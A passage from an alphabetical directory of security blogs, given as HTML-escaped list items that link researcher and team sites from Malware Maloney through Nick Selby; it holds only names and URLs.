  &lt;li&gt;&lt;a href=&quot;https://malwaremaloney.blogspot.com&quot;&gt;Malware Maloney&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malwaremusings.com&quot;&gt;Malware Musings&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.malwaremustdie.org&quot;&gt;Malware Must Die!&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.malware-traffic-analysis.net&quot;&gt;Malware Traffic Analysis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malwarewerewolf.com/posts/&quot;&gt;Malware Werewolf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rmceoin.github.io/malware-analysis/&quot;&gt;malware-analysis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blu3eye.gitbook.io/malware-insight&quot;&gt;Malware-Insight&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malware.pizza&quot;&gt;malware.pizza&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.malware.re&quot;&gt;malware.re&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malwaretech.com&quot;&gt;MalwareTech&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.manchestergreyhats.co.uk&quot;&gt;Manchester Grey Hats&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.mandos.io&quot;&gt;The Mandos Way&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mannharleen.github.io&quot;&gt;mannharleen&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.mannulinux.org&quot;&gt;mannulinux&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ott3rly.com&quot;&gt;Mantas Sabeckis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mantisek.com/posts&quot;&gt;MANTISEK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.mvs.re&quot;&gt;Manuel Sousa&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.marcolancini.it&quot;&gt;Marco Lancini&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://negromarco.it/post/&quot;&gt;Marco Negro&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://marcoramilli.com&quot;&gt;Marco Ramilli&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://minimalblue.com/#research&quot;&gt;Marco Squarcina&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://marcusbotacin.github.io/year-archive/&quot;&gt;Marcus Botacin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://marcusedmondson.com&quot;&gt;Marcus Edmondson&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ranum.com/old-site/index.html&quot;&gt;Marcus Ranum&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://marcyoung.us&quot;&gt;Marcus Young&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://geleta.eu/posts/&quot;&gt;Marek Geleta&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://markfhunt.com&quot;&gt;Mark F Hunt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bdash.net.nz/posts/&quot;&gt;Mark Rowe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://markitzeroday.com&quot;&gt;markitzeroday.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://markus-krell.de/posts/&quot;&gt;Markus Krell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://markuta.com&quot;&gt;Markuta&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://martabyte.github.io&quot;&gt;martabyte&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seemann.io&quot;&gt;Marten Seemann&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://martinralbrecht.wordpress.com&quot;&gt;Martin Albrecht&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ma.rtin.so&quot;&gt;Martin Amps&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vulndev.io&quot;&gt;Martin Mielke&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.martinvigo.com&quot;&gt;Martin Vigo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.rothe.uk&quot;&gt;Martin’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://matan-h.com&quot;&gt;matan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://burningmalware.com&quot;&gt;Mateo Mrvelj&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://matheuzsecurity.github.io/hacking/&quot;&gt;MatheuZ&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mathyvanhoef.com&quot;&gt;Mathy Vanhoef&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://burrough.org&quot;&gt;Matt Burrough&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mattglass-it.com&quot;&gt;Matt Glass&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fletchto99.dev&quot;&gt;Matt Langlois&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mattpalmer.net&quot;&gt;Matt Palmer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://matt.traudt.xyz&quot;&gt;Matt Traudt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://downrightnifty.me&quot;&gt;Matt’s internet home&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mattslifebytes.com&quot;&gt;Matt’s Life Bytes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mandomat.github.io&quot;&gt;Matteo Mandolini&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mgreen27.github.io&quot;&gt;Matthew Green&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ma.ttias.be/blog/&quot;&gt;Mattias Geniar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mattjay.com/blog/&quot;&gt;mattjay&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://momo5502.com/blog/&quot;&gt;Maurice Heumann&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://momo5502.com/posts/&quot;&gt;Maurice’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mavlevin.com&quot;&gt;Mav Levin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maxammann.org/posts/&quot;&gt;Max Ammann&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maxkersten.nl&quot;&gt;Max Kersten&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.maass.xyz&quot;&gt;Max Maass&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://maxwelldulin.com/Blog&quot;&gt;Maxwell Dulin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mayakaczorowski.com/blogs/&quot;&gt;Maya Kaczorowski&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mayfly277.github.io&quot;&gt;Mayfly&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mazinahmed.net/blog/&quot;&gt;Mazin Ahmed&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.bentkowski.info&quot;&gt;MB blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mcbuggy.github.io&quot;&gt;Mcbuggy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mcndt.dev/posts/&quot;&gt;mcndt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mechanicalsympathy.nl&quot;&gt;Mechanical Sympathy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mr-medi.github.io&quot;&gt;MEDI&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mehloul-mohamed.github.io&quot;&gt;Mehloul Mohamed&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://posts.bluraven.io&quot;&gt;Mehmet Ergene&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://armiyon.me/blog/&quot;&gt;Mehran Armiyon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://melomac.com/posts/&quot;&gt;Melomac&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://memorycorruption.net/posts/&quot;&gt;Memory Corruption&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://memoryforensic.com&quot;&gt;Memory Forensic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.menasec.net&quot;&gt;Menasec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mertsarica.com&quot;&gt;Mert Sarica&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.mert.ninja&quot;&gt;mert’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mez0.cc&quot;&gt;mez0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mg.lol/blog/&quot;&gt;MG&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mgeeky.tech&quot;&gt;mgeeky’s lair&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://micahflee.com&quot;&gt;Micah Lee&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://micahs0day.github.io&quot;&gt;Michah’s 0-Day&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bentkowski.info/blog/&quot;&gt;Michał Bentkowski&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://michaelgoodman.co.uk&quot;&gt;Michael Goodman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hoefler.dev&quot;&gt;Michael Hoefler&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.michaelhorowitz.com/index.php&quot;&gt;Michael Horowitz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://observationsinsecurity.com&quot;&gt;Michael Hyndman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://michael.kjorling.se/blog/&quot;&gt;Michael Kjörling&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mtlynch.io/posts/&quot;&gt;Michael Lynch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://michaelpeters.org&quot;&gt;Michael Peters&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://michae.lv&quot;&gt;Michael Veale&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mwl.io/blog&quot;&gt;Michael W Lucas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://michaelwaterman.nl&quot;&gt;Michael Waterman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mweissbacher.com&quot;&gt;Michael Weissbacher&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kamprianis.eu/michalis/i.think/security&quot;&gt;Michalis Kamprianis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.michalos.net&quot;&gt;Michalis Michalos&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://s1ckb017.github.io&quot;&gt;Michele Campa&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.alfie.ninja&quot;&gt;Michiel Evers - Infosec Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jhftss.github.io&quot;&gt;Mickey’s Blogs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://m365internals.com&quot;&gt;Microsoft 365 Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://microsoftedge.github.io/edgevr/&quot;&gt;Microsoft Browser Vulnerability Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/security/blog/author/microsoft-offensive-research-security-engineering-team/&quot;&gt;Microsoft MORSE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mssec.wordpress.com&quot;&gt;Microsoft Security Solutions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.midi12.re&quot;&gt;Midi12’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mikadmin.fr/blog/category/infosec/&quot;&gt;Mika’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://emtunc.org/blog/&quot;&gt;Mikail’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mbrancato.github.io&quot;&gt;Mike Brancato&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mike-gualtieri.com&quot;&gt;mike gualtieri&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://milo2012.wordpress.com&quot;&gt;Milo2012’s Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://minder-security.ghost.io&quot;&gt;Minder-Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.mksec.eu&quot;&gt;Mindslaves Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://mchow01.github.io&quot;&gt;Ming Y. Chow&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://misconfig.io&quot;&gt;misconfig.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mitmlab.com&quot;&gt;MitmLab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mitmproxy.org/posts/&quot;&gt;mitmproxy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mizu.re/posts&quot;&gt;mizu.re&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://themittenmac.com/blog/&quot;&gt;The Mitten Mac&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mjg59.dreamwidth.org&quot;&gt;mjg59&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mkiesel.ch/posts/&quot;&gt;mkiesel.ch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dnguyencodez.github.io&quot;&gt;ML for Cyber Defenses Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://berryvilleiml.com/blog/&quot;&gt;MLsec Musings&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mmmds.pl&quot;&gt;mmmds’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.mmpa.info/posts/&quot;&gt;MMPA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mobile-hacker.com&quot;&gt;mobile-hacker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.msreverseengineering.com&quot;&gt;MÖBIUS STRIP REVERSE ENGINEERING&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://modexp.wordpress.com&quot;&gt;modexp&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.melbadry9.xyz&quot;&gt;Mohamed Elbadry&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://flex0geek.blogspot.com&quot;&gt;Mohamed Sayed&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xsultan.github.io&quot;&gt;Mohamed Sultan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mohamed-fakroud.gitbook.io/red-teamings-dojo/&quot;&gt;Mohamed Fakroud | Red Teaming’s Dojo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mohitdabas.wordpress.com&quot;&gt;Mohit Dabas’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mohitmishra786.github.io/chessman/&quot;&gt;Mohit Mishra&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://themoloch.com&quot;&gt;The Moloch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://molx32.github.io/blog/&quot;&gt;Molx32&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://monke.ie&quot;&gt;Monke’s Cybersecurity Blog&lt;/a&gt; or &lt;a href=&quot;https://pmoc.netsoc.cloud&quot;&gt;pmoc.netsoc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://moopinger.github.io/blog/&quot;&gt;Moopinger&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://linderud.dev&quot;&gt;Morten Linderud&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://movaxbx.ru&quot;&gt;MOV AX, BX&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mrd0x.com&quot;&gt;mr.d0x&lt;/a&gt; and &lt;a href=&quot;https://blog.thecybersecuritytutor.com&quot;&gt;this&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mrbruh.com&quot;&gt;Mr Bruh’s Epic Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://magisterquis.github.io&quot;&gt;Mrs Quis Will Think of a Better Title&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mrvar0x.com&quot;&gt;Mrvar0x - YME&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mrxstudios.home.blog&quot;&gt;MRXstudios&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mksben.l0.cm&quot;&gt;MSKB(en)&lt;/a&gt; and &lt;a href=&quot;https://masatokinugawa.l0.cm&quot;&gt;JP&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mudit.blog&quot;&gt;Mudit Gupta’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://muffsec.com/blog/&quot;&gt;muffSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://muhaddis.info/#blog&quot;&gt;Muhaddis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://itsfading.github.io&quot;&gt;Muhammad Adel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://muha2xmad.github.io&quot;&gt;Muhammad Hasan Ali&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://fadhilthomas.github.io/archives/&quot;&gt;Muhammad Thomas Fadhila Yahya&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://muirey03.blogspot.com&quot;&gt;Muirey03’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.munrobotic.com&quot;&gt;Munrobotic Cyber Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://musana.net&quot;&gt;musana&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://musings.konundrum.org&quot;&gt;Musings of a cat torturer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cramppet.github.io&quot;&gt;Musings of a lifelong n00b&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mustafakemalcan.com&quot;&gt;Mustafa Kemal Can ~ Muskecan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://muzec0318.github.io&quot;&gt;Muzec’s Cyber Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://httpsonly.blogspot.com&quot;&gt;My “Public Evernote”&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dfir.ru&quot;&gt;My DFIR Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ant0i.net&quot;&gt;my little techie blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mycyberresources.com&quot;&gt;MyCyberResources&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://khronokernel.github.io&quot;&gt;Mykola’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mysk.blog&quot;&gt;Mysk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.mzfr.me&quot;&gt;mzfr’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nbsriharsha.blogspot.com&quot;&gt;N B Sri Harsha’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://n0.lol&quot;&gt;n0.lol&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.n00py.io&quot;&gt;N00PY BLOG&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://n0kovo.github.io&quot;&gt;n0kovo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nonuser.es&quot;&gt;n0nuser&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://n0psn0ps.github.io/archive/&quot;&gt;n0ps&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://n0ps.tech&quot;&gt;n0ps blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://n1ght-w0lf.github.io&quot;&gt;N1ght-W0lf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://n1k0la-t.github.io/archives/&quot;&gt;N1k0la’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.n4r1b.com/posts/&quot;&gt;n4r1b&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nac-l.github.io&quot;&gt;Naci’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://zeifan.my&quot;&gt;Nafiez&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nahamsec.com/posts&quot;&gt;NAHAMSEC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nahoragg.github.io&quot;&gt;nahoragg&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://njmulsqb.github.io/posts&quot;&gt;Najam Ul Saqib&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.naksyn.com/posts/&quot;&gt;Naksyn’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.nandankumar.info&quot;&gt;Nandan Kumar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nao-sec.org/archive&quot;&gt;nao_sec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://napongizero.github.io/blog/&quot;&gt;napongizero&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nareshlamgade.com.np&quot;&gt;Naresh LamGade&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://narly.me/posts/&quot;&gt;narly.me&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nastystereo.com&quot;&gt;Nasty Stereo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://farlow.dev&quot;&gt;Nathan Farlow&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.nathanmcnulty.com&quot;&gt;Nathan McNulty&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.hrncirik.net/posts&quot;&gt;nathan’s security blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvdp01.github.io&quot;&gt;Navdeep&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.yesnaveen.com&quot;&gt;NAVEEN&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://navendu.me&quot;&gt;Navendu Pottekkat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://red.0xbad53c.com&quot;&gt;Navigating The Shadows&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nc-lp.com&quot;&gt;nc-lp.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ndevtk.github.io/writeups/&quot;&gt;ndevtk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nee.lv&quot;&gt;nee.lv&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://neilmadden.blog&quot;&gt;Neil Madden&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://neimanslab.org/index.html&quot;&gt;Neiman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://neodymiumphi.sh&quot;&gt;neodymiumphi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.neolex.dev&quot;&gt;Neolex&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://neonprimetime.blogspot.com&quot;&gt;neonprimetime security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://neroteam.com/blog/&quot;&gt;NeroTeam Security Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.netero1010-securitylab.com/&quot;&gt;Netero1010 Security Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.netsecfocus.com&quot;&gt;NetSec Focus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://n0.lol&quot;&gt;netspooky&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://networklogician.com/category/security/&quot;&gt;Network Logician&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.thenewoil.org&quot;&gt;The New Oil&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nickdesaulniers.github.io&quot;&gt;Nick Desaulniers&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://frichetten.com/blog/&quot;&gt;Nick Frichette&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nickg.ca&quot;&gt;Nick G&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nickgregory.me&quot;&gt;Nick Gregory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nickselby.com&quot;&gt;Nick Selby&lt;/a&gt;&lt;/li&gt;
